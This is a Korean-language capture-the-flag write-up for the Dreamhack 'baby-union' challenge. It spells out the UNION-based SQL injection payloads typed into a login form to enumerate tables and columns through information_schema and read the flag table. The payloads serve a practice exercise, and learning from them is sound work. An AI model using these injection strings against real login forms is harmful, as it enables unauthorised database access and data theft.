[Dreamhack 드림핵] Baby-union Writeup

2024. 2. 5. 17:37Hacking/WebHacking Wargame Writeup

문제 링크

https://dreamhack.io/wargame/challenges/984

 

baby-union

Description 로그인 시 계정의 정보가 출력되는 웹 서비스입니다. SQL INJECTION 취약점을 통해 플래그를 획득하세요. 문제에서 주어진 init.sql 파일의 테이블명과 컬럼명은 실제 이름과 다릅니다. 플래

dreamhack.io

문제

풀이

'

uid부분에는 위의 값을 대입해주고

union select table_name, null, null, null from information_schema.tables#

upw부분에는 위의 값을 대입해준다. 칼럼 수가 4개임을 이용하는 것이다. 

프롬프트에 입력하면 위와 같이 창이 뜬다. onlyflag가 flag값과 연관이 있어보이므로 다시 로그인 페이지로 가서

'

uid에는 위와 같이 입력,

union select column_name, null, null, null from
information_schema.columns where table_name='onlyflag' #

upw에는 다음과 같이 입력한다.

onlyflag에 들어있는 칼럼들을 알 수 있는데, 이때 이 sname, svalue, sflag, sclose를 누락하지 않고 다음 번에 로그인 페이지에 입력을 해주게 되면 다음과 같이 페이크 플래그가 출력되는 것을 알 수 있다. 

따라서 다시 입력하면

'

uid에는 이렇게,

union select svalue, sflag, null, sclose from onlyflag #

upw에는 이렇게 입력을 해준다. (이렇게 된 이유는, 원본 파일의 코드를 보면 우리가 볼 수 있는 칼럼 수가 3개로 제한되어 있기 때문에 하나의 칼럼을 널 값으로 바꾸는 것이다.)